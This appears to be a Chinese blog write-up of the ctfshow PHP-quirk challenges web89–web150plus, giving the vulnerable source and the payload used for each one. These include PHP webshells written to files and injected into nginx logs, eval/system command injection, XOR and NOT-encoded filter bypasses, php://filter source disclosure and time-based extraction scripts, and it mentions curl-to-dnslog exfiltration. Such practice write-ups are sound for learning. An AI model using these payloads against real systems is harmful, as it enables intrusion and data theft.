本文最后更新于 2024年9月18日 晚上
                  
                
              
            
            
              
                
                  web89 
 
  web90 
  0x01 
 
  0x02 
 
  0x03 
 
  0x04 
 
  web91 
 
  web92 
  0x01 
 
  0x02 
 
  web92 
  0x01 
 
  0x02 
 
  web93 
  0x01 
 
  0x02 
 
  web94 
  0x01 
 
  0x02 
 
  web95 
  0x01 
 
  0x02 
 
  web96 
  0x01 
1 ?u=php://filter/convert.base64-encode/resource=flag.php
 
  0x02 
 
  0x03 
1 ?u=/var/www/html/flag.php
 
  web97 
  0x01 
 
  0x02 
用fastcoll进行生成
  web98 
按要求进行传参就行了,cookie,post,FLAG,等等
  web99 
先了解一下in_array函数,如图
in_array是用于检查数组里有没有对应的内容,正常是需要传三个值,第一个值是要搜索的值,可以是字符串、整数等。第二个值是要搜索的数组,即是否存在这个数组,第三个是可选当设置为 true 时,in_array() 不仅检查值是否相同,还会检查类型是否相同。如果未设置或为 false,则不会比较类型。本题就是由于第三个没有导致的弱比教漏洞
所以根据题目要求
 
1 content=<?php eval ($_POST [1]);?>
 
然后进入1.php执行ls,最后执行得到flag
1 1=system('tac flag36d.php' );
 
  web100 
1 ?v1=0&v2=show_source(system('ls' ))&v3=;
 
测试完忘记读题,在$ctfshow里面
1 ?v1=0&v2=var_dump($ctfshow )&v3=;
 
  web101 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php /* */ highlight_file(__FILE__); include("ctfshow.php" ); //flag in  class ctfshow;$ctfshow  = new ctfshow();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric($v1 ) and is_numeric($v2 ) and is_numeric($v3 );if ($v0 ){     if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/" , $v2 )){         if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/" , $v3 )){             eval ("$v2 ('ctfshow')$v3 " );         }     }      } ?>
 
没遇过学习一下,反射,ReflectionClass:一个反射类,功能十分强大,内置了各种获取类信息的方法,创建方式为new ReflectionClass(str 类名),可以用echo new ReflectionClass(‘className’)打印类的信息。
ReflectionObject:另一个反射类,创建方式为new ReflectionObject(对象名)。
1 ?v1=1&v2=echo  new Reflectionclass&v3=;
 
  web102 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php highlight_file (__FILE__ );$v1  = $_POST ['v1' ];$v2  = $_GET ['v2' ];$v3  = $_GET ['v3' ];$v4  = is_numeric ($v2 ) and  is_numeric ($v3 );if ($v4 ){     $s  = substr ($v2 ,2 );     $str  = call_user_func ($v1 ,$s );     echo  $str ;     file_put_contents ($v3 ,$str ); }else {     die ('hacker' ); }?> 
 
call_user_func函数是用于调用一个回调函数,$s从第二个开始读取,file_put_contents可以写入文件
v3用伪协议写入一个文件v3=php://filter/write=convert.base64-decode/resource=1.php
还需要讲的是短标签<?=就相当于<?php echo,我们需要构造,末尾有空格
 
先进行base64,原因是我们写入的时候用了base64,然后进行hex,最后再编码前面加两位
1 v2=115044383959474e686443417159447367
 
最后v1=hex2bin进行转化进行,到1.php里看答案
1 ?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php
 
  web103 
用上面102的payload可以正常打通
  web104 
  0x01 
数组绕过
  0x02 
 
 
  web105 
本地考察了变量覆盖
先上payload
  0x01 
 
 
原理就是s u c e s = suces= s u c e s =  flag,然后post发e r r o r = error= e r r o r =  suces,通过串联,达成了e r r o r = error= e r r o r =  flag;
  0x02 
清空内容
 
 
  web106 
同web104
  web107 
 
1 v1=flag=c4ca4238a0b923820dcc509a6f75849b
 
parse_str 将 $v1 中的查询字符串解析成一个关联数组,并将解析结果存储在 $v2 中。
就相当于$v2[flag]=c4ca4238a0b923820dcc509a6f75849b,控制两边相等就行了
  web108 
 
ereg用于检测是否只包含字母(大小写),0x36d 的十进制值是 877。反转 "877" 得到的字符串是 "778",
不过这里的 ereg() 存在截断漏洞, %00 后的字符串不解析构造 a%00778 来绕过 ereg() 的检测
  web109 
使用原生类的内置类进行目录扫描
1 ?v1=DirectoryIterator&v2=system(ls )
 
然后使用映射类读取flag
1 ?v1=Reflectionclass&v2=system('tac fl36dg.txt' )
 
或者
1 ?v1=Exception&v2=system('tac fl36dg.txt' )
 
或者
1 ?v1=Error&v2=system('tac fl36dg.txt' )
 
  web110 
根据题目给的hint,先上payload
1 ?v1=FilesystemIterator&v2=getcwd
 
FilesystemIterator::__construct — 构造一个新的文件系统迭代器
getcwd() 返回当前工作目录, 即 /var/ww/html。类里面刚好有 __toString 可以 echo 输出
  web111 
 
进行变量覆盖
  web112 
1 ?file=php://filter/resource=flag.php
 
或者
1 ?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
 
或者
1 ?file=compress.zlib://flag.php
 
  web113 
1 ?file=compress.zlib://flag.php
 
官p是
1 2 3 4 5 ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php
 
这是一个 Linux 环境中的路径表达式,表示通过不断递归访问 /proc/self/root 来尝试访问最终的目标文件 /var/www/html/flag.php。利用函数所能处理的长度限制进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了。
  web114 
  0x01 
1 ?file=php://filter//resource=flag.php
 
  0x02 
1 ?file=Php://filter/zlib.deflate|zlib.inflate/resource=flag.php
 
  web115 
 
利用 PHP 的宽松类型比较特性
由于 $num 的原始值是 "\x0c36",它通过了 is_numeric() 检查,且不严格等于 '36',同时经过 filter() 处理后的值仍为 '36'。
  web123 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){     if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/" , $c )&&$c <=18 ){          eval ("$c " .";" );            if ($fl0g ==="flag_give_me" ){              echo  $flag ;          }     } }?> 
 
一开始是想执行fl0g其实是执行不了的,真是可以传值的只有利用fun,执行echo $flag,这里因为php特性改成[,再传给CTF_SHOW,就达成了判断条件
1 CTF_SHOW=&CTF[SHOW.COM=1&fun= echo  $flag 
 
  web125 
  0x01 
1 CTF_SHOW=&CTF[SHOW.COM=1&fun=var_export(get_defined_vars())
 
无参数绕过常见的一种方法
  0x02 
1 CTF_SHOW=&CTF[SHOW.COM=1&fun=highlight_file($_GET [1])
 
?1=flag.php
  0x03 
1 CTF_SHOW=&CTF[SHOW.COM=1&fun=include($_GET [1])
 
1 ?1=php://filter/convert.base64-encode/resource=flag.php
 
  web126 
  0x01 
1 CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a [1])
 
 
?a=1+fl0g=flag_give_me。在之前的代码中存在 parse_str($a[1]),并且 $a[1] 是可控的输入,那么这里的查询字符串会被 parse_str() 函数解析。
$a[1] 包含 fl0g=flag_give_me,parse_str($a[1]) 会将它解析为:
 
  0x02 
1 CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a [0])
 
 
  web127 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php error_reporting (0 );include ("flag.php" );highlight_file (__FILE__ );$ctf_show  = md5 ($flag );$url  = $_SERVER ['QUERY_STRING' ];function  waf ($url  ) {     if (preg_match ('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//' , $url )){         return  true ;     }else {         return  false ;     } }if (waf ($url )){     die ("嗯哼?" ); }else {     extract ($_GET ); }if ($ctf_show ==='ilove36d' ){     echo  $flag ; } 
 
  0x01 
 
点或空格会被转化为下划线,由于点被过滤 ,所以可以用上空格。
  0x02 
$_SERVER[‘QUERY_STRING’];获取的查询语句是服务端还没url解码之前的字符串,所以对_进行一次url编码也能绕过。
 
  web128 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php /* */ error_reporting(0); include("flag.php" ); highlight_file(__FILE__);$f1  = $_GET ['f1' ];$f2  = $_GET ['f2' ];if (check($f1 )){     var_dump(call_user_func(call_user_func($f1 ,$f2 ))); }else {     echo  "嗯哼?" ; }function  check($str ){     return  !preg_match('/[0-9]|[a-z]/i' , $str ); }
 
1 ?f1=_&f2=get_defined_vars
 
本地学到了,php扩展目录下有php_gettext.dll_()是一个函数。
_()==gettext() 是gettext()的拓展函数,开启text扩展get_defined_vars — 返回由所有已定义变量所组成的数组。
为了绕过正则,_()函数和gettext()的效果一样,所以可以用_()函数代替gettext()函数。
  web129 
  0x01 
1 ?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php
 
  0x02 
1 ?f=/ctfshow/../../../../var/www/html/flag.php
 
进行目录穿越
  web130 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){     $f  = $_POST ['f' ];     if (preg_match ('/.+?ctfshow/is' , $f )){         die ('bye!' );     }     if (stripos ($f , 'ctfshow' ) === FALSE ){         die ('bye!!' );     }     echo  $flag ; }
 
  0x01 
 
+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复,所以在ctfshow前面必须有至少一个字符,才会返回true
  0x02 
PHP利用PCRE回溯次数限制绕过,前面加个100w个a就行
  web131 
PHP利用PCRE回溯次数限制绕过,前面加个100w个a就行
  web132 
进去是一个网站,默认看一下robots.txt,告诉/admin,进去得到网页
1 ?code=admin&password=1&username=admin
 
1 if ($code  === mt_rand (1 ,0x36D ) && $password  === $flag  || $username  ==="admin" )
 
先运行&&再运行||,a||b如果前面的错了那么就运行后面的,如果前面对的就不看后面的了
  web133 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php /* */ error_reporting(0); highlight_file(__FILE__); //flag.phpif ($F  = @$_GET ['F' ]){     if (!preg_match('/system|nc|wget|exec|passthru|netcat/i' , $F )){         eval (substr($F ,0,6));     }else {         die("6个字母都还不够呀?!" );     } }
 
原理大致就是利用curl外带,然后dnslog进行,直接贴文章吧
ctfshow web133和其他命令执行的骚操作-CSDN博客 
  web134 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );$key1  = 0 ;$key2  = 0 ;if (isset ($_GET ['key1' ]) || isset ($_GET ['key2' ]) || isset ($_POST ['key1' ]) || isset ($_POST ['key2' ])) {     die ("nonononono" ); } @parse_str ($_SERVER ['QUERY_STRING' ]);extract ($_POST );if ($key1  == '36d'  && $key2  == '36d' ) {     die (file_get_contents ('flag.php' )); }
 
1 ?_POST[key1]=36d&_POST[key2]=36d
 
利用变量覆盖,执行
  web135 
1 ?F=`$F `+;cp +flag.php+1.txt
 
自身的值在被eval时候直接引用自身,可以用cp把flag复制到1.txt访问 ?F=$F+;cp+flag.php+1.txt
  web136 
 
1 ?c=tac  f149_15_h3r3 |tee  aa
 
  web137 
1 ctfshow=ctfshow::getFlag
 
  web138 
strripos($_POST['ctfshow'], ":") > -1 的检查条件意味着只要 POST 数据中包含冒号,代码就会终止。
1 ctfshow[0]=ctfshow&ctfshow[1]=getFlag
 
在 PHP 中,call_user_func 可以接收数组形式的参数来调用静态方法。这种方式可以绕过冒号检查,因为 ctfshow[0]=ctfshow&ctfshow[1]=getFlag 并不包含冒号。
ctfshow[0]=ctfshow:表示调用 ctfshow 类的方法。 
ctfshow[1]=getFlag:表示调用 getFlag 方法。 
 
  web139 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );function  check ($x  ) {     if (preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x )){         die ('too young too simple sometimes naive!' );     } }if (isset ($_GET ['c' ])){     $c =$_GET ['c' ];     check ($c );     exec ($c ); }else {     highlight_file (__FILE__ ); }?> 
 
和136差不多,但是测了一下好像并不能写入文件,应该是权限问题,跟着官p看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import  requestsimport  timeimport  stringstr  = string.ascii_letters + string.digits + '_~'  result = "" for  i in  range (1 , 10 ):       key = 0      for  j in  range (1 , 15 ):           if  key == 1 :             break          for  n in  str :                                       payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi" .format (i, j, n)                          url = "http://271efe3f-c200-4c7c-b5fc-0262498db523.challenge.ctf.show/?c="  + payload             try :                 requests.get(url, timeout=(2.5 , 2.5 ))             except :                 result = result + n                 print (result)                 break              if  n == '~' :                 key = 1                  result += " " print ("Final result:" , result)
 
ls /|awk 'NR=={0}': 获取 / 目录下的第 i 个文件或目录的名称。
cut -c {1}: 获取文件名的第 j 个字符。
if [ ... == {2} ]: 判断这个字符是否等于当前循环中的字符 n。
sleep 3: 如果匹配成功,则让服务器等待 3 秒。
文件在f149_15_h3r3里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import  requestsimport  timeimport  stringstr =string.digits+string.ascii_lowercase+"-"  result=""  key=0 for  j in  range (1 ,45 ):     print (j)     if  key==1 :         break      for  n in  str :         payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi" .format (j,n)                  url="http://271efe3f-c200-4c7c-b5fc-0262498db523.challenge.ctf.show/?c=" +payload         try :             requests.get(url,timeout=(2.5 ,2.5 ))         except :             result=result+n             print (result)             break 
 
最后要扩个括号
  web140 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['f1' ]) && isset ($_POST ['f2' ])){     $f1  = (String)$_POST ['f1' ];     $f2  = (String)$_POST ['f2' ];     if (preg_match ('/^[a-z0-9]+$/' , $f1 )){         if (preg_match ('/^[a-z0-9]+$/' , $f2 )){             $code  = eval ("return $f1 ($f2 ());" );             if (intval ($code ) == 'ctfshow' ){                 echo  file_get_contents ("flag.php" );             }         }     } }
 
字符串进行整数转化是0,所以只要保证$code是否为0就行了
  0x01 
 
成功则返回命令输出的最后一行,失败则返回 FALSE 。system()必须包含参数,失败返回FLASE;system(‘FLASE’),空指令,失败返回FLASE。
  0x02 
 
  0x03 
 
  web141 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){     $v1  = (String)$_GET ['v1' ];     $v2  = (String)$_GET ['v2' ];     $v3  = (String)$_GET ['v3' ];     if (is_numeric ($v1 ) && is_numeric ($v2 )){         if (preg_match ('/^\W+$/' , $v3 )){             $code  =  eval ("return $v1 $v3 $v2 ;" );             echo  "$v1 $v3 $v2  = " .$code ;         }     } }
 
preg_match('/^\W+$/', $v3) 这段代码的作用是检查变量 $v3 是否 只包含一个或多个非单词字符 (例如空格、标点符号等),且整个字符串从头到尾都符合这个条件。如果是这样,则返回 1,否则返回 0。简单的说就是不能包含字母数字。
利用取反
1 2 3 4 5 6 7 <?php $a ="system" ;$b ="ls /" ;$c =urlencode (~$a );$d =urlencode (~$b );echo  ("?c=(~" .$c .")(~" .$d .");" )?> 
 
1 ?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
 
1 ?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);
 
个人解惑:通过加上 - 号,可以构造出一个合法的数学或逻辑运算符,使得最终的表达式可以被 eval() 正常解析和执行。以前写的没有遇到加-的
  web142 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['v1' ])){     $v1  = (String)$_GET ['v1' ];     if (is_numeric ($v1 )){         $d  = (int )($v1  * 0x36d  * 0x36d  * 0x36d  * 0x36d  * 0x36d );         sleep ($d );         echo  file_get_contents ("flag.php" );     } }
 
相当于睡眠下面的式子,可以输入v1=0可以变为0,下面的式子
d = ( i n t ) ( v 1 × 87 7 5 ) d=(int)(v1×877^5)
 d = ( i n t ) ( v 1 × 8 7 7 5 ) 
 
  web143 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){     $v1  = (String)$_GET ['v1' ];     $v2  = (String)$_GET ['v2' ];     $v3  = (String)$_GET ['v3' ];     if (is_numeric ($v1 ) && is_numeric ($v2 )){         if (preg_match ('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i' , $v3 )){                 die ('get out hacker!' );         }         else {             $code  =  eval ("return $v1 $v3 $v2 ;" );             echo  "$v1 $v3 $v2  = " .$code ;         }     } }
 
多加了+,-,~不可以用取反了,可以尝试进行异或绕过
1 ?v1=1&v2=2&v3=*("%0c%06%0c%0b%05%0d" ^"%7f%7f%7f%7f%60%60" )("%0c%0c" ^"%60%7f" )*
 
1 ?v1=1&v2=2&v3=*("%0c%06%0c%0b%05%0d" ^"%7f%7f%7f%7f%60%60" )("%0b%01%03%00%06%0c%01%07%01%0f%08%0f" ^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f" )*
 
脚本是使用yu师傅的rce生成,然后用python进行构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php $myfile  = fopen ("xor_rce.txt" , "w" );$contents ="" ;for  ($i =0 ; $i  < 256 ; $i ++) {  	for  ($j =0 ; $j  <256  ; $j ++) {  		if ($i <16 ){ 			$hex_i ='0' .dechex ($i ); 		} 		else { 			$hex_i =dechex ($i ); 		} 		if ($j <16 ){ 			$hex_j ='0' .dechex ($j ); 		} 		else { 			$hex_j =dechex ($j ); 		} 		$preg  = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i' ;  		if (preg_match ($preg  , hex2bin ($hex_i ))||preg_match ($preg  , hex2bin ($hex_j ))){ 					echo  "" ;     }    		else { 		$a ='%' .$hex_i ; 		$b ='%' .$hex_j ; 		$c =(urldecode ($a )^urldecode ($b )); 		if  (ord ($c )>=32 &ord ($c )<=126 ) { 			$contents =$contents .$c ." " .$a ." " .$b ."\n" ; 		} 	} } }fwrite ($myfile ,$contents );fclose ($myfile );?> 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from  sys import  *def  action (arg ):    s1=""     s2=""     for  i in  arg:        f=open ("xor_rce.txt" ,"r" )        while  True :            t=f.readline()            if  t=="" :                break             if  t[0 ]==i:                                s1+=t[2 :5 ]                s2+=t[6 :9 ]                break         f.close()    output="(\"" +s1+"\"^\"" +s2+"\")"     return (output) fun="system"  cmd="tac flag.php" print ("function:" +action(fun))print ("cmd:" +action(cmd))
 
  web144 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){     $v1  = (String)$_GET ['v1' ];     $v2  = (String)$_GET ['v2' ];     $v3  = (String)$_GET ['v3' ];     if (is_numeric ($v1 ) && check ($v3 )){         if (preg_match ('/^\W+$/' , $v2 )){             $code  =  eval ("return $v1 $v3 $v2 ;" );             echo  "$v1 $v3 $v2  = " .$code ;         }     } }function  check ($str  ) {     return  strlen ($str )===1 ?true :false ; }
 
和web141基本一致,限制的是v2稍加进行修改即可
1 ?v1=1&v3=-&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);
 
  web145 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file (__FILE__ );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){     $v1  = (String)$_GET ['v1' ];     $v2  = (String)$_GET ['v2' ];     $v3  = (String)$_GET ['v3' ];     if (is_numeric ($v1 ) && is_numeric ($v2 )){         if (preg_match ('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3 )){                 die ('get out hacker!' );         }         else {             $code  =  eval ("return $v1 $v3 $v2 ;" );             echo  "$v1 $v3 $v2  = " .$code ;         }     } }
 
  0x01 
1 ?v1=1&v2=2&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F):
 
  0x02 
1 ?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
 
  web146 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php /* */ highlight_file(__FILE__);if (isset($_GET ['v1' ]) && isset($_GET ['v2' ]) && isset($_GET ['v3' ])){     $v1  = (String)$_GET ['v1' ];     $v2  = (String)$_GET ['v2' ];     $v3  = (String)$_GET ['v3' ];     if (is_numeric($v1 ) && is_numeric($v2 )){         if (preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3 )){                 die('get out hacker!' );         }         else {             $code  =  eval ("return $v1$v3$v2 ;" );             echo  "$v1$v3$v2  = " .$code ;         }     } }
 
用上一题的0x02的payload可以正常得到答案
  web147 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );if (isset ($_POST ['ctf' ])){     $ctfshow  = $_POST ['ctf' ];     if (!preg_match ('/^[a-z0-9_]*$/isD' ,$ctfshow )) {         $ctfshow ('' ,$_GET ['show' ]);     } }
 
确保 $ctfshow 只包含小写字母、数字和下划线(正则表达式 ^[a-z0-9_]*$)。
i :忽略大小写。 
s :使 . 可以匹配换行符。 
D :禁用多行模式(^ 和 $ 只匹配整个字符串的开头和结尾)。 
 
1 ?show=;}system('tac f*' );//
 
 
show需要提前进行闭合,后面需要进行注释掉,以便可以正常执行,下面的ctf输入\是为了能够进行绕过,这个函数是用于进行创造一个函数进行执行,详细的可以网上搜索一下
  web148 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php include  'flag.php' ;if (isset ($_GET ['code' ])){     $code =$_GET ['code' ];     if (preg_match ("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/" ,$code )){         die ("error" );     }     @eval ($code ); }else {     highlight_file (__FILE__ ); }function  get_ctfshow_fl0g ( ) {     echo  file_get_contents ("flag.php" ); }
 
直接进行异或
  0x01 
1 ?code=("%0c%06%0c%0b%05%0d" ^"%7f%7f%7f%7f%60%60" )("%0c%0c" ^"%60%7f" );
 
1 ?code=("%08%02%08%09%05%0d" ^"%7b%7b%7b%7d%60%60" )("%09%01%03%01%06%0c%01%07%01%0b%08%0b" ^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b" );
 
  0x02 
1 ?code=$哈="`{{{" ^"?<>/" ;${$哈} [哼](${$哈} [嗯]);&哼=system&嗯=tac  f*
 
官方预期解
  web149 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php error_reporting (0 );highlight_file (__FILE__ );$files  = scandir ('./' ); foreach ($files  as  $file ) {     if (is_file ($file )){         if  ($file  !== "index.php" ) {             unlink ($file );         }     } }file_put_contents ($_GET ['ctf' ], $_POST ['show' ]);$files  = scandir ('./' ); foreach ($files  as  $file ) {     if (is_file ($file )){         if  ($file  !== "index.php" ) {             unlink ($file );         }     } }
 
代码审计一下
1 2 3 4 5 6 7 8 $files  = scandir ('./' ); foreach ($files  as  $file ) {     if (is_file ($file )){         if  ($file  !== "index.php" ) {             unlink ($file );         }     } }
 
这段代码是遍历当前目录下的文件是否有叫index.php的,如果有就进行删除
可以利用这一点进行一句话木马上传
 
1 show=<?php  eval ($_POST [1 ]);?> 
 
然后回到页面执行一句话得到了具体的内容
1 1=system('cat /ctfshow_fl0g_here.txt' );
 
  web150 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php include ("flag.php" );error_reporting (0 );highlight_file (__FILE__ );class  CTFSHOW  {     private  $username ;     private  $password ;     private  $vip ;     private  $secret ;     function  __construct ( ) {         $this ->vip = 0 ;         $this ->secret = $flag ;     }     function  __destruct ( ) {         echo  $this ->secret;     }     public  function  isVIP ( ) {         return  $this ->vip?TRUE :FALSE ;         }     }     function  __autoload ($class  ) {         if (isset ($class )){             $class ();     } }$key  = $_SERVER ['QUERY_STRING' ];if (preg_match ('/\_| |\[|\]|\?/' , $key )){     die ("error" ); }$ctf  = $_POST ['ctf' ];extract ($_GET );if (class_exists ($__CTFSHOW__ )){     echo  "class is exists!" ; }if ($isVIP  && strrpos ($ctf , ":" )===FALSE ){     include ($ctf ); }
 
既然是非预期题目就用非预期来写,先上payload
 
1 ctf=/var/log/nginx/access.log&1=system('cat f*' );
 
给ua头上个一句话<?php eval($_POST[1]);?>,查看网页源码得到flag
strrpos($ctf, ":") 是 PHP 中的一个函数调用,它的作用是查找字符串中最后一次出现指定字符的位置。从题目中
1 2 3 4 public function  isVIP  (){        return  $this ->vip?TRUE:FALSE;        }    }
 
要满足这个限制,所以isVIP进行了限制,只要后面的是不符合的即没有:就行,利用nginx特性,具体对照web4这题,写入日志得到falg
  web150plus 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php /* */ include("flag.php" ); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{     private $username ;     private $password ;     private $vip ;     private $secret ;     function  __construct  (){         $this ->vip = 0;         $this ->secret = $flag ;     }     function  __destruct  (){         echo  $this ->secret;     }     public function  isVIP  (){         return  $this ->vip?TRUE:FALSE;         }     }     function  __autoload($class ){         if (isset($class )){             $class ();     } }$key  = $_SERVER ['QUERY_STRING' ];if (preg_match('/\_| |\[|\]|\?/' , $key )){     die("error" ); }$ctf  = $_POST ['ctf' ]; extract($_GET );if (class_exists($__CTFSHOW__ )){     echo  "class is exists!" ; }if ($isVIP  && strrpos($ctf , ":" )===FALSE && strrpos($ctf ,"log" )===FALSE){     include($ctf ); }
 
这题把log给禁用了,先上一下官方给的exphttps://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
学习文章 
__autoload($class) 是 PHP 中用于自动加载类的特殊函数。当你试图使用一个尚未定义的类时,PHP 会自动调用这个 __autoload() 函数,并将类名作为参数传递给它。
class_exists($__CTFSHOW__) 是 PHP 中的一个函数调用,用于检查给定的类是否已经定义。
  0x01 
 
我觉得也算非预期,用phpinfo查看,根据特性把_改成了.,搜索ctfshow{
  0x02 
自己研究下exp吧,我太懒了😋